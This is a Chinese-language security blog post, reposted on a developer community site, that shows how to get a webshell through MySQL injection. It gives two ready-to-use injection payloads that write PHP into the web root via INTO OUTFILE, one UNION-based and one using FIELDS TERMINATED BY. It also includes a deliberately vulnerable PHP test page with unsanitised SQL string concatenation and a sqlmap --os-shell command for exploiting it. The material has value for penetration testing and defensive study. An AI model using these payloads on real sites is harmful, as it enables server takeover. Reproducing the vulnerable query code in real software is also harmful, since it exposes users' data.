前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >MySQL注入两种写入一句话快速拿WebShell的方法

MySQL注入两种写入一句话快速拿WebShell的方法

作者头像
C4rpeDime
发布2018-10-10 09:56:51
6.4K0
发布2018-10-10 09:56:51
举报
文章被收录于专栏:黑白安全黑白安全
MySQL注入两种写入一句话快速拿WebShell的方法
MySQL注入两种写入一句话快速拿WebShell的方法

利用需要满足以下条件

root权限 GPC关闭(能使用单引号) 有绝对路径(读文件可以不用,写文件必须) 没有配置–secure-file-priv

1.union

id=2) union select 1,2,3,4,5,6,7,'<? phpinfo(); ?>’ into outfile ‘/home/wwwroot/lu4n.com/luan_phpinfo.php’%23

<? phpinfo(); ?>为写入的内容可添加自己的一句话  /home/wwwroot/lu4n.com/luan_phpinfo.php 为已存在的网站目录下的文件即插入文件名

2.no union

id=2) into outfile ‘/home/wwwroot/lu4n.com/luan_phpinfo.php’ fields terminated by ‘<? phpinfo(); ?>’%23

第二种方法最早最早是在吐司的一个 2015-1-24 的帖子里看到的,吐司果然大牛多。

效果如下:

MySQL注入两种写入一句话快速拿WebShell的方法
MySQL注入两种写入一句话快速拿WebShell的方法
MySQL注入两种写入一句话快速拿WebShell的方法
MySQL注入两种写入一句话快速拿WebShell的方法

这里用的第二种方法是通过插入分隔符号来GetShell的,所以必须查询结果有多个列 一般情况下的注入点都是符合条件的。

SqlMap利用方法

以luan_test.php为例:

<?php

@$link= mysql_connect("localhost","root","");

mysql_select_db("mysql",$link);

$user = strtolower($_GET['user']);

if(strpos($user,"union") === false){

$sql= "SELECT * FROM user where user='{$user}'";

echo $sql . '<br>';

mysql_query($sql);

echo mysql_errno() . ": " . mysql_error(). " ";

}

?>

经测试,SqlMap最新版实际是支持这个方法的:

python sqlmap.py -u “http://192.168.2.200/luan_test.php?user=root” –os-shell

MySQL注入两种写入一句话快速拿WebShell的方法
MySQL注入两种写入一句话快速拿WebShell的方法
MySQL注入两种写入一句话快速拿WebShell的方法
MySQL注入两种写入一句话快速拿WebShell的方法

但是,如果–os-shell用不了,SqlMap有个写文件的选项,经测试不成功。

MySQL注入两种写入一句话快速拿WebShell的方法
MySQL注入两种写入一句话快速拿WebShell的方法

也就是说,SqlMap只能传自己的WebShell

MySQL注入两种写入一句话快速拿WebShell的方法
MySQL注入两种写入一句话快速拿WebShell的方法

如果工具党遇到这种情况,直接使用SqlMap –os-shell然后用SqlMap上传的WebShell来操作就可以了

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 SQL Server
腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档